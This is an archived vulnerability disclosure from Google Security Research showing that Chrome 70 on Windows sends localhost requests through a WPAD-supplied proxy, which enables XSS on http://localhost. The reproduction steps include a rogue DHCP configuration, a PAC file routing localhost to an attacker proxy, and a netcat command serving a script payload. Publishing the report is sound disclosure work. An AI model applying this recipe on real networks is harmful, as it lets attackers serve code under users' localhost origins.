what you don't know can hurt you

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle
Posted Dec 11, 2018
Authored by Jann Horn, Google Security Research

Google Chrome version 70.0.3538.77 stable suffers from cross site scripting and man-in-the-middle vulnerabilities.

tags | exploit, vulnerability, xss
MD5 | 983c9bbc501d7d7ca4d8d631173677e7

Google Chrome 70.0.3538.77 Cross Site Scripting / Man-In-The-Middle

Change Mirror Download
Chrome: malicious WPAD server can proxy localhost (leading to XSS in http://localhost:*/*) 




VERSION
Chrome Version: 70.0.3538.77 stable
Operating System: Windows 10 (version 1803)


When Chrome is installed on Windows and the user joins a malicious network that advertises a WPAD script (e.g. via DHCP), Chrome will fetch the WPAD script from the specified URL and use it for proxying decisions. In particular, for requests to http:// origins, the request is simply sent to the proxy instead. This is normally acceptable because if the network is malicious, an attacker could also perform a man-in-the-middle attack against any HTTP request.

However, localhost should be special. There are applications that bind a web server to localhost and then use "Host" header checks to prevent DNS rebinding attacks. Such applications need to be protected from malicious outside traffic even if the network is malicious. Currently, Chrome does not special-case localhost in proxying decisions; this means that an attacker can abuse WPAD to gain the ability to serve attacker-controlled content at http://localhost:*/* , at which point the attacker should be able to perform same-origin XHR to http://localhost:*/* (e.g. by letting the PAC file specify "DIRECT" as fallback if the proxy goes down).

I have tested that I can serve an attacker-controlled HTML file under the <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> origin to Chrome in a VM with Windows 10.


=== repro steps ===
1. Set up a Windows 10 VM that is connected to a network bridge, without using a DHCP server integrated into the VM software.
2. Set up a DHCP server with a config that contains something like this:

option domain-name-servers 8.8.8.8;
option wpad-url code 252 = text;
subnet 192.168.250.0 netmask 255.255.255.0 {
range 192.168.250.100 192.168.250.200;
option routers 192.168.250.1;
option wpad-url "http://192.168.250.1:8080/proxy.pac";
}

3. Set up an HTTP server (e.g. with "python -m SimpleHTTPServer 8080") that serves the following file as proxy.pac on port 8080:

function FindProxyForURL(url, host) {
if (dnsDomainIs(host, "localhost")) {
return "PROXY 192.168.250.1:8081";
} else {
return "DIRECT";
}
}

4. Set up some sort of HTTP server that can serve HTTP traffic on port 8081 and doesn't get confused by the weird HTTP request of a proxy connection too much. netcat is easy to use for this, thanks to HTTP/0.9 (but note that this will be a one-shot server):

$ echo '<script>alert("hello from "+document.location)</script>' | nc -vlp 8081
Listening on [0.0.0.0] (family 0, port 8081)

5. Restart the VM's network connectivity and restart Chrome.
6. Navigate to <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a>.


=== Expected result ===
Chrome should connect to localhost directly and ignore the proxy.


=== Actual result ===
Chrome shows an alert box saying "hello from http://localhost", and netcat shows a request like this:

Connection from 192.168.250.105 51278 received!
GET <a href="http://localhost/" title="" class="" rel="nofollow">http://localhost/</a> HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.



Found by: jannh

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

February 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    22 Files
  • 2
    Feb 2nd
    9 Files
  • 3
    Feb 3rd
    2 Files
  • 4
    Feb 4th
    15 Files
  • 5
    Feb 5th
    50 Files
  • 6
    Feb 6th
    24 Files
  • 7
    Feb 7th
    15 Files
  • 8
    Feb 8th
    6 Files
  • 9
    Feb 9th
    1 Files
  • 10
    Feb 10th
    1 Files
  • 11
    Feb 11th
    22 Files
  • 12
    Feb 12th
    25 Files
  • 13
    Feb 13th
    16 Files
  • 14
    Feb 14th
    32 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    10 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    0 Files
  • 20
    Feb 20th
    0 Files
  • 21
    Feb 21st
    0 Files
  • 22
    Feb 22nd
    0 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    0 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    0 Files
  • 27
    Feb 27th
    0 Files
  • 28
    Feb 28th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close